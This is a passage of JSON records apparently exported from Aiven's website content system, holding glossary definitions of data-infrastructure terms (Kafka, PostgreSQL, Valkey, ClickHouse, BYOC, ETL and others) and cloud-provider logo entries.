PostgreSQL®"},{"_key":"070145d86ca6","_type":"link","internalLink":{"_ref":"kFp5PwIgDNlE46qegyYSb","_type":"reference"},"title":"PostgreSQL® concepts and terms"},{"_key":"e70696379632","_type":"link","internalLink":{"_ref":"cVucHhUgifwkUQXoHjxCV","_type":"reference"},"title":"Use cases for PostgreSQL®"},{"_key":"b627e91057af","_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"}],"term":"PostgreSQL®"} {"_createdAt":"2024-03-20T10:18:36Z","_id":"7910c24d-5a85-4cad-9e71-fc7ceacb6a16","_rev":"PjhTiFLESFHgz5EjCB2Hfs","_type":"glossaryTerm","_updatedAt":"2024-03-20T10:18:36Z","description":[{"_key":"510316b97d51","_type":"block","children":[{"_key":"9e4a7acd62370","_type":"span","marks":[],"text":"Streaming data analytics involves the real-time analysis of continuously generated data streams, allowing organizations to extract meaningful insights and make informed decisions based on up-to-the-moment information."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"c408d77b550e","_type":"link","internalLink":{"_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"},"title":"Streaming data analytics in the real world"}],"term":"Streaming data analytics"} {"_createdAt":"2024-07-23T09:37:04Z","_id":"7c3165cf-48ed-4241-9eac-e6bf919cb783","_rev":"soRb7d6YUIpimEgfQHmN1y","_type":"glossaryTerm","_updatedAt":"2024-07-23T09:37:04Z","description":[{"_key":"91387daa4023","_type":"block","children":[{"_key":"a9ce8d3eb1750","_type":"span","marks":[],"text":"An in-memory database is a type of database management system that stores data primarily in the main memory (RAM) rather than on disk storage. This allows for significantly faster data access and processing compared to traditional disk-based databases. Examples include Valkey (open source alternative to Redis®) and Dragonfly."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"a07c8fc7259e","_type":"link","internalLink":{"_ref":"894ac584-fe8d-47eb-bd84-cdc44c4c3a5c","_type":"reference"},"title":"Introducing Aiven for Valkey"},{"_key":"ae581b213f76","_type":"link","internalLink":{"_ref":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_type":"reference"},"title":"What is Dragonfly?"},{"_key":"cba7a71267c7","_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey"}],"term":"In-memory database"} {"_createdAt":"2024-03-12T11:42:44Z","_id":"8154cd3e-60ab-4450-a8da-1ea07da4ce14","_rev":"PjhTiFLESFHgz5EjCAuIFc","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:17:08Z","description":[{"_key":"35b40a11baec","_type":"block","children":[{"_key":"59b376541a030","_type":"span","marks":[],"text":"Apache Cassandra is an open-source distributed, wide column, NoSQL database management system designed for handling large amounts of data across multiple servers."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"82f57a1a0999","_type":"link","internalLink":{"_ref":"6ZDXHjT69kyBI80TVQmyE8","_type":"reference"},"title":"An introduction to Apache Cassandra®"},{"_key":"76d303f784f8","_type":"link","externalUrl":"https://aiven.io/docs/products/cassandra","title":"Get started"}],"term":"Apache Cassandra®"} {"_createdAt":"2024-07-23T09:41:48Z","_id":"b19c8f7a-4f26-494e-b8ba-1d748b99b671","_rev":"mr6Ps1Vz8WkVL9G5VXZvHT","_type":"glossaryTerm","_updatedAt":"2024-07-23T09:41:48Z","description":[{"_key":"92d3725b8461","_type":"block","children":[{"_key":"974a9b541ff40","_type":"span","marks":[],"text":"Klaw is a web-based, fully open source data governance toolkit for Apache Kafka® topic and schema governance. Klaw helps Kafka admins add and define roles for Kafka users, create Kafka Topics, manage schemas, authorize producers and consumers, manage connectors, and more."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"88ad552c769d","_type":"link","internalLink":{"_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},"title":"Introducing Klaw for Apache Kafka® governance"},{"_key":"618924affebb","_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/howto/kafka-klaw","title":"Docs: Connect Aiven for Apache Kafka® with Klaw"},{"_key":"49754a7ee40d","_type":"link","internalLink":{"_ref":"de15d64a-ab02-4a06-bd4d-e37a5095883b","_type":"reference"},"title":"Klaw in 2022: simplifying Apache Kafka data governance"},{"_key":"c7261e0824e8","_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Kafka®"}],"term":"Klaw"} {"_createdAt":"2024-03-12T12:36:02Z","_id":"b9dceb81-6f84-4b01-9a9a-ef86a4d3ba53","_rev":"Mwja7swPJspBVknlrRY1xu","_type":"glossaryTerm","_updatedAt":"2024-04-02T06:59:15Z","description":[{"_key":"bfcae7d2c885","_type":"block","children":[{"_key":"08a1e8d7ff320","_type":"span","marks":[],"text":"Kafka messaging involves the use of Apache Kafka®, a distributed streaming platform, to facilitate the seamless and fault-tolerant exchange of real-time data between applications, enabling efficient data integration and communication."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"35de992469cb","_type":"link","internalLink":{"_ref":"cea04874-dd89-4b2c-acc7-3d1ddaf32a22","_type":"reference"},"title":"What is Apache Kafka®?"}],"term":"Kafka messaging"} {"_createdAt":"2024-03-12T11:49:27Z","_id":"c03087db-f6e2-4fa4-b6ee-2b8436b45e28","_rev":"PjhTiFLESFHgz5EjCAuiLg","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:24:25Z","description":[{"_key":"d73c3617146e","_type":"block","children":[{"_key":"4bd75dac26910","_type":"span","marks":[],"text":"Event streaming refers to the continuous flow of events or data in real-time, allowing systems to react to and process events as they occur. It is commonly used for applications like real-time data analysis, monitoring, and building event-driven architectures."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"c389f48b3aa6","_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Aiven for Event Streaming"},{"_key":"cb3d1026b0c8","_type":"link","internalLink":{"_ref":"c6ce98ee-1e41-4e2b-878d-6702e1226dd3","_type":"reference"},"title":"Evaluating your event streaming needs, the software architect way"},{"_key":"c0a60adbc6c6","_type":"link","internalLink":{"_ref":"d8f581eb-471c-439e-a87b-b7596812f19d","_type":"reference"},"title":"Solving problems with event streaming"},{"_key":"3a8496186a39","_type":"link","internalLink":{"_ref":"74c6fe58-a2b0-4997-85d5-ba614d33cee0","_type":"reference"},"title":"Case study: Simplilearn"},{"_key":"8db3df8fb5d6","_type":"link","internalLink":{"_ref":"51e0d3e8-c014-4c89-8519-5b184ae8e54f","_type":"reference"},"title":"Webinar: 4 ways to think like a software architect while evaluating solutions"}],"term":"Event streaming"} {"_createdAt":"2024-07-23T07:12:30Z","_id":"cf86d8bd-fbb5-4cf2-849d-b43537d56dc7","_rev":"mr6Ps1Vz8WkVL9G5VXBGW5","_type":"glossaryTerm","_updatedAt":"2024-07-23T07:18:30Z","description":[{"_key":"a7e8d08d0551","_type":"block","children":[{"_key":"af741c8615fd0","_type":"span","marks":[],"text":"ClickHouse is an open-source columnar database management system designed for fast analytical processing of large volumes of data. Its key use case is for real-time online analytical processing (OLAP)."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"b7aaa61b84ed","_type":"link","internalLink":{"_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},"title":"What is Clickhouse®?"},{"_key":"bcd13b91fa47","_type":"link","externalUrl":"https://aiven.io/docs/products/clickhouse/concepts/columnar-databases","title":"Docs: ClickHouse® as a columnar database"},{"_key":"bc57eb7a4e8a","_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for Clickhouse®"}],"term":"Clickhouse"} {"_createdAt":"2024-03-20T09:52:01Z","_id":"d5e6afd1-35f6-4f17-8e3c-a4e9f175590b","_rev":"PjhTiFLESFHgz5EjCAwqWV","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:52:01Z","description":[{"_key":"a6f94e78ac75","_type":"block","children":[{"_key":"dadec2760a3e0","_type":"span","marks":[],"text":"Event and Processing Times refer to the timing aspects of data processing in a system, where \"event time\" is the time when an event occurs, and \"processing time\" is the time when the system processes that event."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"a9908fa5f344","_type":"link","externalUrl":"https://aiven.io/docs/products/flink/concepts/event-processing-time","title":"Docs: Event and processing times"}],"term":"Event and processing times"} {"_createdAt":"2024-03-20T10:10:48Z","_id":"d6c48ddb-3e6e-416b-a586-e8eddcda2de0","_rev":"PjhTiFLESFHgz5EjCB0gHk","_type":"glossaryTerm","_updatedAt":"2024-03-20T10:10:48Z","description":[{"_key":"79f888a50895","_type":"block","children":[{"_key":"1c50768aa57e0","_type":"span","marks":[],"text":"Real-Time Analytics involves the analysis of data as it is generated to provide immediate insights and decision-making capabilities."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"364f5d408828","_type":"link","internalLink":{"_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"},"title":"Why you should think about moving analytics from batch to real-time"},{"_key":"46f2ffb79f54","_type":"link","internalLink":{"_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"},"title":"Build a real-time analytics pipeline in less time than your morning bus ride"}],"term":"Real time analytics"} {"_createdAt":"2024-07-23T09:39:24Z","_id":"dc34b521-d089-4704-ae95-7929a08576cc","_rev":"mr6Ps1Vz8WkVL9G5VXZWUI","_type":"glossaryTerm","_updatedAt":"2024-07-23T09:39:24Z","description":[{"_key":"58f224ccc281","_type":"block","children":[{"_key":"8b46886de2dd0","_type":"span","marks":[],"text":"A key-value database is a type of NoSQL database that uses a simple key-value pair mechanism to store data. Each key is unique and maps directly to a single value, enabling efficient retrieval and storage of data. Examples include PostgreSQL, Valkey (open source alternative to Redis(R)) and Dragonfly."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"2aff90d340b2","_type":"link","internalLink":{"_ref":"894ac584-fe8d-47eb-bd84-cdc44c4c3a5c","_type":"reference"},"title":"Introducing Aiven for Valkey"},{"_key":"88d64604c135","_type":"link","internalLink":{"_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"},"title":"Introduction to Redis®"},{"_key":"e460737014cc","_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey"},{"_key":"a0998c796355","_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"}],"term":"Key-value database"} {"_createdAt":"2024-07-23T09:42:37Z","_id":"dcb8c27f-55fe-4590-98a8-684482612585","_rev":"mr6Ps1Vz8WkVL9G5VXa3FQ","_type":"glossaryTerm","_updatedAt":"2024-07-23T09:43:06Z","description":[{"_key":"dd2f416bd734","_type":"block","children":[{"_key":"588f7a5913df0","_type":"span","marks":[],"text":"Karapace is an open source project that provides a schema registry and REST API for Apache Kafka®. It is built and maintained by Aiven and licensed under Apache 2.0."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"f5707f449e64","_type":"link","internalLink":{"_ref":"6KYt6yfjKl5MeD0qupM50F","_type":"reference"},"title":"Karapace strengthens schema management"},{"_key":"d0b00d16409d","_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Kafka®"}],"term":"Karapace"} {"_createdAt":"2024-03-20T10:01:12Z","_id":"e2840821-3c56-431b-b237-ffc827280425","_rev":"PjhTiFLESFHgz5EjCAxf28","_type":"glossaryTerm","_updatedAt":"2024-03-20T10:01:12Z","description":[{"_key":"f37e40e59dbc","_type":"block","children":[{"_key":"247364dcae320","_type":"span","marks":[],"text":"Microservice is a software architectural style where a system is composed of small, independent services that communicate over well-defined APIs. It promotes flexibility and scalability."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"8bb2545abc14","_type":"link","internalLink":{"_ref":"1CuVhL1qTea2bGbOOf2mOS","_type":"reference"},"title":"How are your microservices talking?"}],"term":"Microservice"} {"_createdAt":"2024-03-20T10:11:39Z","_id":"f0e7520a-d41c-4037-a965-88d051347b7d","_rev":"PjhTiFLESFHgz5EjCB0wA4","_type":"glossaryTerm","_updatedAt":"2024-03-20T10:11:39Z","description":[{"_key":"ad972c361480","_type":"block","children":[{"_key":"57b9e73cafc40","_type":"span","marks":[],"text":"Real-time data refers to information that is available immediately as it is generated or becomes relevant, without any significant delay. Real-time data is essential for applications like stock trading, monitoring, and dynamic decision-making."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"84c52aefe863","_type":"link","internalLink":{"_ref":"6Try3Yao44IvWVZPip4pzx","_type":"reference"},"title":"Real-time stock data with Apache Flink® and Apache Kafka®"}],"term":"Real time data"} {"_createdAt":"2024-03-20T10:17:52Z","_id":"f908bffa-fce4-469f-834d-a4e2758f5b8c","_rev":"PjhTiFLESFHgz5EjCB26r3","_type":"glossaryTerm","_updatedAt":"2024-03-20T10:17:52Z","description":[{"_key":"ead80655d38e","_type":"block","children":[{"_key":"5d686285a7970","_type":"span","marks":[],"text":"Stream processing is the practice of processing and analyzing data as it is continuously generated, without the need to store and batch-process it first. It is suitable for real-time applications like fraud detection, recommendation systems, and IoT data processing."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"9e1395390189","_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},{"_key":"fcf48bf17729","_type":"link","internalLink":{"_ref":"e8c75ccd-71ce-4cef-82de-117a66c53609","_type":"reference"},"title":"Webinar: Aiven for Apache Flink® - A new developer experience for data stream processing"}],"term":"Stream processing"} {"_createdAt":"2024-03-12T12:34:38Z","_id":"fe4dd435-a5cf-4365-83ff-04b0659e52c1","_rev":"PjhTiFLESFHgz5EjCAuTYm","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:19:36Z","description":[{"_key":"8d5dacc1f68d","_type":"block","children":[{"_key":"85d29b0eb9790","_type":"span","marks":[],"text":"Hosted Data Streaming refers to a service where the infrastructure and resources for data streaming are provided and managed by a third-party hosting provider."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"46679160cce2","_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"}],"term":"Hosted data streaming"} {"_createdAt":"2024-03-12T12:25:01Z","_id":"1b12d732-6184-4d70-b326-994f990871d1","_rev":"jEln45CgOQD4spzxfDppDn","_type":"glossaryTerm","_updatedAt":"2024-07-19T08:19:50Z","description":[{"_key":"bc16127b0bf9","_type":"block","children":[{"_key":"bb01e306aa2d0","_type":"span","marks":[],"text":"Google BigQuery is a fully-managed, serverless data warehouse that enables super-fast SQL queries using the processing power of Google's infrastructure."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"dcd51055a1e7","_type":"link","internalLink":{"_ref":"60075e9d-4238-4aef-a150-23f194aa6883","_type":"reference"},"title":"Fast analytics with Aiven for Apache Kafka® and Google BigQuery"},{"_key":"a3a53ca224de","_type":"link","externalUrl":"https://aiven.io/docs/products/flink/howto/connect-bigquery","title":"Docs: Integrate Aiven for Apache Flink® with Google BigQuery"}],"term":"Google BigQuery"} {"_createdAt":"2024-03-12T12:42:37Z","_id":"41bc813f-6e63-40bc-9b8b-146493459c17","_rev":"Mwja7swPJspBVknlrRY1uA","_type":"glossaryTerm","_updatedAt":"2024-04-02T06:59:10Z","description":[{"_key":"15da5ae78f96","_type":"block","children":[{"_key":"3b9a3a2b882b0","_type":"span","marks":[],"text":"Karapace is an open-source project that provides a RESTful interface for Apache Kafka®, facilitating easier management and monitoring."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"7d9a5c2acca6","_type":"link","internalLink":{"_ref":"4kZePZcGxjPJAFk0KUyhp2","_type":"reference"},"title":"What is Karapace?"},{"_key":"f1f39d8af135","_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/howto/enable-karapace","title":"Docs: Use Karapace with Aiven for Apache Kafka®"},{"_key":"9466c2a08d4c","_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/karapace/get-started","title":"Docs: Get started"}],"term":"Karapace"} {"_createdAt":"2024-03-12T11:45:40Z","_id":"cea513b5-6cbd-453e-93ca-c51ba4e98524","_rev":"8q08tYxGNL2qfrtMKRiRPR","_type":"glossaryTerm","_updatedAt":"2024-10-01T13:15:50Z","description":[{"_key":"c4c4be110eb8","_type":"block","children":[{"_key":"67d1bf68654a0","_type":"span","marks":[],"text":"Bring Your Own Cloud (BYOC) is a deployment model where managed data services are deployed directly to the customer's own cloud account. This means that customers can enjoy the managed service experience, while all compute, storage and networking infrastructure services - and associated costs - remain under their direct control."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"073f335ba87f","_type":"link","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"},"title":"What is BYOC?"},{"_key":"2efb2d7c0b91","_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"Optimize your cloud data infrastructure spend"},{"_key":"ad73838c3d94","_type":"link","internalLink":{"_ref":"12782707-33fe-4a65-9171-84db5d5c6139","_type":"reference"},"title":"Webinar: Achieve lower TCO and keep full control of your data"},{"_key":"fa9038b8444e","_type":"link","externalUrl":"https://aiven.io/docs/platform/concepts/byoc","title":"Docs: About BYOC"}],"term":"BYOC"} {"_createdAt":"2024-03-20T09:50:21Z","_id":"b9b4536a-a843-4f35-a372-f7922743b2ad","_rev":"ezMiwuUkJkbYMWycAFskRe","_type":"glossaryTerm","_updatedAt":"2024-09-09T13:28:00Z","description":[{"_key":"21bf6d7b32b2","_type":"block","children":[{"_key":"e05a508ed1ed0","_type":"span","marks":[],"text":"A data pipeline is a series of processes and components that facilitate the automated and controlled movement of data from source to destination, often involving data extraction, transformation, and loading (ETL). Data pipelines are used to enable data integration, analysis, and storage."}],"markDefs":[],"style":"normal"}],"glossaryArticleRef":{"_ref":"fe5570d5-3b88-4590-a24e-b0d5534503f2","_type":"reference"},"relatedResources":[{"_key":"959349c8471d","_type":"link","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"title":"Case study: Priceline"},{"_key":"2a395bd76171","_type":"link","internalLink":{"_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"},"title":"The future of data pipelines"},{"_key":"3578fac784eb","_type":"link","internalLink":{"_ref":"5fa83287-90b2-4e44-bbb8-62d041fa6568","_type":"reference"},"title":"Webinar: How to build data analytics pipelines faster than your morning commute"}],"term":"Data pipeline"} {"_createdAt":"2024-03-20T09:53:12Z","_id":"7a243df3-ff71-4845-b34f-ce4d19df1a01","_rev":"PjhTiFLESFHgz5EjCAxMyy","_type":"glossaryTerm","_updatedAt":"2024-03-20T09:57:13Z","description":[{"_key":"6107eb1983c2","_type":"block","children":[{"_key":"46334795f33b0","_type":"span","marks":[],"text":"Kubernetes are tools used for container orchestration and infrastructure provisioning, respectively, in cloud-native applications."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"06f7f6d7f09e","_type":"link","internalLink":{"_ref":"6hwk9OFwjubnCEArcbNBJy","_type":"reference"},"title":"Kubernetes vs. Terraform"},{"_key":"40b7c850465d","_type":"link","externalUrl":"https://aiven.io/docs/tools/kubernetes","title":"Docs: Aiven Operator for Kubernetes®"}],"term":"Kubernetes"} {"_createdAt":"2024-03-20T09:59:39Z","_id":"fad2a2f2-8b65-4f1b-b702-f34f0aa40d96","_rev":"CJO3e8rLk53sCEtDX0ip5n","_type":"glossaryTerm","_updatedAt":"2024-03-27T08:03:59Z","description":[{"_key":"7f46f59ac84d","_type":"block","children":[{"_key":"2e35a5f5e11d0","_type":"span","marks":[],"text":"Terraform is an infrastructure as code tool that lets you build, change, and version cloud and on-prem resources safely and efficiently."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"8680c4bd01f6","_type":"link","externalUrl":"https://aiven.io/developer/terraform","title":"Aiven Terraform cookbook"},{"_key":"3cd4f7423672","_type":"link","internalLink":{"_ref":"6hwk9OFwjubnCEArcbNBJy","_type":"reference"},"title":"Kubernetes vs. Terraform"}],"term":"Terraform"} {"_createdAt":"2024-03-20T10:20:54Z","_id":"e45998c6-6e68-4297-9a5e-30f395f1db14","_rev":"EyufRNy5j0xIBEOcdzpjcy","_type":"glossaryTerm","_updatedAt":"2024-10-30T11:27:13Z","description":[{"_key":"a777b8fb35e9","_type":"block","children":[{"_key":"ca0a4d1d2ca40","_type":"span","marks":[],"text":"A time series database is a specialized database system designed for efficient storage and retrieval of time series data. It is optimized for querying and analyzing data points with timestamps, making it suitable for applications where historical data and trends are essential, such as in monitoring and analytics."}],"markDefs":[],"style":"normal"}],"relatedResources":[{"_key":"8c1c0f18379c","_type":"link","externalUrl":"https://aiven.io/docs/platform/concepts/choosing-timeseries-database","title":"Docs: Choosing a timeseries database"}],"term":"Time series database"} {"_createdAt":"2024-09-11T09:29:56Z","_id":"ee978a44-ca88-4180-b0fc-7a6a04dc41ac","_rev":"qobFP6o3d5Cfo6v5i11q6w","_type":"glossaryTerm","_updatedAt":"2024-09-23T13:36:09Z","description":[{"_key":"2651b5241f03","_type":"block","children":[{"_key":"c82b2565a6130","_type":"span","marks":[],"text":"ETL, or Extract, Transform, Load, is a process used in data integration where data is extracted from source systems, transformed into a suitable format, and loaded into a target database, data warehouse, or data lake for analysis and reporting."}],"markDefs":[],"style":"normal"}],"glossaryArticleRef":{"_ref":"60c404f9-17da-4f5e-bd44-a8d5e4ce7c86","_type":"reference"},"relatedResources":[{"_key":"983392cd516a","_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka"},{"_key":"dd1205de885f","_type":"link","internalLink":{"_ref":"608035ae-116a-44bf-8967-4ca9e0fba7ed","_type":"reference"},"title":"Reverse your ETL"},{"_key":"5a44627f067c","_type":"link","internalLink":{"_ref":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_type":"reference"},"title":"Move from Batch to Streaming"},{"_key":"5cbd6e6b3792","_type":"link","externalUrl":"https://aiven.io/docs/products/kafka ","title":"Docs: Aiven for Apache Kafka"}],"term":"ETL"} {"__i18n_lang":"en","_createdAt":"2022-07-21T11:38:36Z","_id":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_rev":"uun7HKtV69coGq98NKY2on","_type":"hostProvider","_updatedAt":"2022-10-11T11:04:55Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"Amazon Web Services in grey","asset":{"_ref":"image-6f46f1e82bc1d5cf36a45a076bbbc94fa99719db-50x30-svg","_type":"reference"}},"logoHeight":44,"logoImage":{"_type":"mainImage","alt":"Amazon Web Services logo","asset":{"_ref":"image-92889533074fb94addf32dcc178c16ba3c42e3ba-193x116-svg","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"Amazon Web Services logo in white","asset":{"_ref":"image-a8dc925c8246fc9ae1385ac8818e9d6bc4e60cfb-50x30-svg","_type":"reference"}},"title":"Amazon Web Services"},"name":"Amazon Web Services"} {"__i18n_lang":"en","_createdAt":"2022-07-21T11:47:33Z","_id":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_rev":"8WeirZ6KB9gJqgJfvuQwb3","_type":"hostProvider","_updatedAt":"2022-10-03T07:13:13Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"Microsoft Azure logo in grey","asset":{"_ref":"image-2bcbedb2b1fabf69a1980f4834a8e322be7fd49c-67x19-svg","_type":"reference"}},"logoHeight":35,"logoImage":{"_type":"mainImage","alt":"Microsoft Azure logo","asset":{"_ref":"image-975f38277c6f2ce488404f1382a07fb16abf0d39-119x34-svg","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"Microsoft Azure logo in white","asset":{"_ref":"image-36ec77d5dfd41400a1386ad571708e3c5ac98157-67x19-svg","_type":"reference"}},"title":"Microsoft Azure"},"name":"Microsoft Azure"} {"__i18n_lang":"en","_createdAt":"2024-04-03T11:56:56Z","_id":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_rev":"9k1srJVIAf7BJJgtqkuPvS","_type":"hostProvider","_updatedAt":"2024-04-03T12:22:30Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"Oracle Cloud logo","asset":{"_ref":"image-7b25f6c06f14dccf1225b9da6c95287b928a7ff6-207x63-png","_type":"reference"}},"logoHeight":25,"logoImage":{"_type":"mainImage","alt":"Oracle Cloud logo","asset":{"_ref":"image-274d62cd72c4c09b2cff4cd3f1c57eac0fcb8ce6-412x126-png","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"Oracle Cloud logo","asset":{"_ref":"image-71c5015d4133740c2fb968a115a1c9003e09a560-207x63-png","_type":"reference"}}},"name":"Oracle Cloud"} {"__i18n_lang":"en","_createdAt":"2022-07-21T12:10:36Z","_id":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_rev":"8WeirZ6KB9gJqgJfvuQpPn","_type":"hostProvider","_updatedAt":"2022-10-03T07:12:57Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"Digital Ocean logo in grey","asset":{"_ref":"image-4a996f17e9d42c2aaef73d663d7cce3207f8bba4-172x29-svg","_type":"reference"}},"logoImage":{"_type":"mainImage","alt":"Digital Ocean logo","asset":{"_ref":"image-01e3f92e7a28002b3212de51912dc1efe632ee1d-172x29-svg","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"Digital Ocean logo in white","asset":{"_ref":"image-2657342a8d1659254da94b4090706b7ca57b3b00-172x29-svg","_type":"reference"}},"title":"Digital Ocean"},"name":"Digital Ocean"} {"__i18n_lang":"en","_createdAt":"2022-08-29T14:09:01Z","_id":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_rev":"bUMlF7B1Xxw34pzcKtT74I","_type":"hostProvider","_updatedAt":"2022-11-21T09:15:57Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"Digital Ocean logo in grey","asset":{"_ref":"image-f9f82aa59c4290cf89e8b5e73c01dcce3527c08b-43x33-svg","_type":"reference"}},"logoImage":{"_type":"mainImage","alt":"Digital Ocean logo","asset":{"_ref":"image-4988dc3125578cdc0d0247ba6608963dcacc72d8-43x33-svg","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"Digital Ocean logo in white","asset":{"_ref":"image-ef0d1fb6c7ca60bea6b02683ef142d19174edc44-43x33-svg","_type":"reference"}},"title":"Digital Ocean"},"name":"Digital Ocean (Square)"} {"__i18n_lang":"en","_createdAt":"2022-07-21T12:11:08Z","_id":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_rev":"8WeirZ6KB9gJqgJfvuQsdX","_type":"hostProvider","_updatedAt":"2022-10-03T07:13:04Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"UpCloud logo in grey","asset":{"_ref":"image-865a6b2abbc7884740e9ded244e9bce25d0ab639-77x12-svg","_type":"reference"}},"logoImage":{"_type":"mainImage","alt":"UpCloud logo","asset":{"_ref":"image-764b908b5841188ee220ce4f7ff4070c0c26734c-163x25-svg","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"UpCloud logo in white","asset":{"_ref":"image-60126270bbff2e5d643ddad6d740d1d457fb3a7b-77x12-svg","_type":"reference"}},"title":"UpCloud"},"name":"UpCloud"} {"__i18n_lang":"en","_createdAt":"2022-07-21T11:42:25Z","_id":"adc248e9-c65b-45b5-a4e6-930767897444","_rev":"8WeirZ6KB9gJqgJfvuQhQb","_type":"hostProvider","_updatedAt":"2022-10-03T07:12:37Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"Google Cloud logo in grey","asset":{"_ref":"image-f8fdf3a8e1dd1771daebefeb992be189df5f6fcd-138x24-svg","_type":"reference"}},"logoImage":{"_type":"mainImage","alt":"Google Cloud logo","asset":{"_ref":"image-5171d32a3373c496c2e3e48d65b9d8774c791dbc-206x36-svg","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"Google Cloud logo in white","asset":{"_ref":"image-5edddc8b4595db25def6a662a8f8d2b3b3d249f6-138x24-svg","_type":"reference"}},"title":"Google Cloud"},"name":"Google Cloud"} {"__i18n_lang":"en","_createdAt":"2024-04-03T12:16:32Z","_id":"a506fd70-3394-4c5e-a595-caea0c60623b","_rev":"9k1srJVIAf7BJJgtqkpcj1","_type":"hostProvider","_updatedAt":"2024-04-03T12:19:28Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"UpCloud logo in grey","asset":{"_ref":"image-dcb40635a8e1cde1ca8f5e752ea08c32d5881b83-112x82-png","_type":"reference"}},"logoHeight":35,"logoImage":{"_type":"mainImage","alt":"UpCloud logo","asset":{"_ref":"image-6f6828062ea4c23a9b2339f472ac600426a9ff47-112x83-png","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"UpCloud logo in white","asset":{"_ref":"image-627dd8085e6a55f46645c72808e4b18721bb0baf-112x82-png","_type":"reference"}},"title":"UpCloud"},"name":"UpCloud (Square)"} {"__i18n_lang":"en","_createdAt":"2024-10-23T06:57:43Z","_id":"0a4874dd-a9ec-4c09-bfc8-8a1972f8ebf8","_rev":"Tk5wEyuF6ALVCQLusXJuGe","_type":"hostProvider","_updatedAt":"2024-10-23T07:28:28Z","logo":{"_type":"logoItem","logoDark":{"_type":"mainImage","alt":"Bring your own cloud (BYOC) logo in 